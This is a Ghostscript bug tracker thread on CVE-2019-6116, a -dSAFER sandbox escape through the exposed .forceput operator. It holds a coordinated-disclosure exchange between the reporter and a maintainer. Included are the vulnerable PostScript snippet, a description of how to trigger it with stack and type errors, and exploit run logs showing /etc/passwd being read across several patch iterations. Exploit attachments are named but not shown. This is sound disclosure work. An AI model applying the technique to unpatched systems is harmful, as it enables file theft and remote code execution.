Bug 700317

Summary: ghostscript: subroutines within pseudo-operators must themselves be pseudo-operators
Product: Ghostscript Reporter: Tavis Ormandy <taviso>
Component: Security (public)Assignee: Chris Liddell (chrisl) <chris.liddell>
Status: RESOLVED FIXED QA Contact:
Severity: critical    
Priority: P4 CC: carnil, chris.liddell, dr, jsmeix, marc.deslauriers, mosvald, ptenn.bugzilla, till.kamppeter
Version: 9.26   
Hardware: PC   
OS: Linux   
Customer: Word Size: ---
Bug Depends on:    
Bug Blocks: 700472    
Attachments: exploit
.bashrc modifying exploit
/typecheck exploit
/typecheck + executeonly exploit
Address force operators exposure

Description Tavis Ormandy 2018-12-04 01:45:28 UTC
Created attachment 16472 [details]
exploit

I was quickly grepping through the changes in ghostscript 9.26 and noticed that not all the subroutines are pseudo-operators, for example:

http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=Resource/Init/pdf_draw.ps;h=79733df451c1ecc0a71b08d10e5412ac3e243a9e;hb=gs926#l1123


1123       {
1124         currentglobal pdfdict gcheck .setglobal
1125         pdfdict /.Qqwarning_issued //true .forceput
1126         .setglobal
1127         pdfformaterror
1128       } ifelse

The reason is obvious, it's an ephemeral routine passed to ifelse, but that is irrelevant, you can make ifelse fail via /stackoverflow or /execstackoverflow or whatever.

Actually getting the precise operator to fail is tricky, but I got it to work:

$ ./gs -sDEVICE=ppmraw -dSAFER -f ../../ghostscript-9.26/bin/test.ps 
GPL Ghostscript GIT PRERELEASE 9.27 (2018-11-20)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
(Stage 0: PDFfile)
(Stage 1: q)
(Stage 3: oget)
(Stage 4: pdfemptycount)
(Stage 5: gput)
(Stage 6: resolvestream)
(Stage 7: pdfopdict)
(Stage 8: .pdfruncontext)
(Stage 9: pdfdict)
(Stage 10: /stackoverflow)
(\tLast Parameter:){(\n   **** Error: File has unbalanced q/Q operators \(too many q's\)\n               Output may be incorrect.\n) pdfdict /.Qqwarning_issued --.knownget-- {{--pop--} {--.currentglobal-- pdfdict --scheck-- --.setglobal-- pdfdict /.Qqwarning_issued true --.forceput-- --.setglobal-- pdfformaterror} --ifelse--} {--.currentglobal-- pdfdict --scheck-- --.setglobal-- pdfdict /.Qqwarning_issued true --.forceput-- --.setglobal-- pdfformaterror} --ifelse--}
(\tExtracting .forceput...)
(\tResult:)--.forceput--
(Stage 11: Exploitation...)
(\tShould now have complete control over ghostscript, attempting to read /etc/passwd...)
(root:x:0:0:root:/root:/bin/bash)
(All Done)

Therefore, this is a remote code execution vulnerability. This affects 9.26 and HEAD.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Comment 1 Tavis Ormandy 2018-12-04 01:53:38 UTC
Created attachment 16473 [details]
.bashrc modifying exploit

Here is an example exploit that patches .bashrc just for reference.
Comment 2 Tavis Ormandy 2018-12-11 18:45:51 UTC
Any update on this issue? I'd like to help review the proposed fix if possible, just to think about the consequences. Are you planning to pull the ephemeral routines out and make them pseudo operators?
Comment 3 Chris Liddell (chrisl) 2018-12-12 15:27:04 UTC
(In reply to Tavis Ormandy from comment #2)
> Any update on this issue? I'd like to help review the proposed fix if
> possible, just to think about the consequences. Are you planning to pull the
> ephemeral routines out and make them pseudo operators?

No, giving every single conditional clause a name would be totally impractical.

I've sent a private e-mail with the proposed patch and an explanation.
Comment 4 Tavis Ormandy 2018-12-12 23:09:38 UTC
Created attachment 16550 [details]
/typecheck exploit

Thanks Chris. I reviewed the proposed patch and pointed out that it only works for /stackoverflow, as I mentioned earlier it could be other errors as well.

I sent Chris a full explanation over email, but commenting here just for future reference.

Here is an exploit that uses /typecheck instead, it still works with the proposed patch.

$ ./gs -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f ghostscript-926-forceput.ps  
GPL Ghostscript GIT PRERELEASE 9.27 (2018-11-20)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
(Stage 0: PDFfile)
(Stage 1: q)
(Stage 3: oget)
(Stage 4: pdfemptycount)
(Stage 5: gput)
(Stage 6: resolvestream)
(Stage 7: pdfopdict)
(Stage 8: .pdfruncontext)
(Stage 9: pdfdict)
Stage 10: /typecheck #1
Stage 10: /typecheck #2
(Stage 11: Exploitation...)
(   Should now have complete control over ghostscript, attempting to read /etc/passwd...)
(root:x:0:0:root:/root:/bin/bash)
Comment 5 Chris Liddell (chrisl) 2018-12-14 07:57:19 UTC
Revised patches sent to Tavis.
Comment 6 Tavis Ormandy 2018-12-14 20:32:42 UTC
Created attachment 16557 [details]
/typecheck + executeonly exploit

I reviewed the new patches, the solution was to mark all ephemeral routines executeonly, like this:

{ foo } executeonly { bar } executeonly ifelse

That won't work because of bug 699816 - just being executeonly doesn't protect the contents unless it's a pseudo-op. I sent Chris a full explanation, and here is an updated exploit that works with executeonly branches.

$ ./gs -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f ghostscript-926-forceput-typecheck-executeonly-example.ps 
GPL Ghostscript GIT PRERELEASE 9.27 (2018-11-20)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
(Stage 0: PDFfile)
(Stage 1: q)
(Stage 3: oget)
(Stage 4: pdfemptycount)
(Stage 5: gput)
(Stage 6: resolvestream)
(Stage 7: pdfopdict)
(Stage 8: .pdfruncontext)
(Stage 9: pdfdict)
Stage 10: /typecheck #1
Stage 10: /typecheck #2
(Stage 9: pdfdict)
(Stage 9: pdfdict)
Stage 10: /typecheck #3
(Stage 11: Exploitation...)
(   Should now have complete control over ghostscript, attempting to read /etc/passwd...)
(root:x:0:0:root:/root:/bin/bash)
Comment 7 Chris Liddell (chrisl) 2018-12-15 09:43:40 UTC
There was a logic error in an earlier change which exposed the erroring operator in a way I *thought* was no longer possible - I've sent Tavis a patch with a fix for that.
Comment 8 Tavis Ormandy 2019-01-09 20:19:44 UTC
After some discussion I think we have arrived at a comprehensive solution.

Thanks Chris for all the work, this one turned out to be really tough to solve, the complete patchset is really non-trivial.

It will require extra care writing postscript in future, I filed bug 700472 to think about ways to make sure this doesn't accidentally regress.
Comment 9 Tavis Ormandy 2019-01-10 23:12:31 UTC
This is CVE-2019-6116
Comment 10 Chris Liddell (chrisl) 2019-01-21 12:56:02 UTC
Created attachment 16755 [details]
Address force operators exposure
Comment 11 Chris Liddell (chrisl) 2019-01-23 14:28:46 UTC
The fixes for this are now public, thus I'm closing the bug.
Comment 12 Philip Tenn 2019-04-04 18:53:30 UTC
(In reply to Chris Liddell (chrisl) from comment #11)
> The fixes for this are now public, thus I'm closing the bug.

Hi Chris,

Questions about GhostScript Bug 700317:

1. Tavis' original post said: This affects 9.26 and HEAD.  

However, when we went out to NIST, CVE-2019-6116 said "Ghostscript through 9.26".

Does it exist in GhostScript versions earlier than 9.26?  

2. Has the fix for this been applied to 9.27 (just released yesterday, 4/3/2019)?

Thanks,

Philip
Comment 13 Chris Liddell (chrisl) 2019-04-05 07:51:36 UTC
(In reply to Philip Tenn from comment #12)
> (In reply to Chris Liddell (chrisl) from comment #11)
> > The fixes for this are now public, thus I'm closing the bug.
> 
> Hi Chris,
> 
> Questions about GhostScript Bug 700317:
> 
> 1. Tavis' original post said: This affects 9.26 and HEAD.  
> 
> However, when we went out to NIST, CVE-2019-6116 said "Ghostscript through
> 9.26".
> 
> Does it exist in GhostScript versions earlier than 9.26?  

Yes.

> 2. Has the fix for this been applied to 9.27 (just released yesterday,
> 4/3/2019)?

Yes.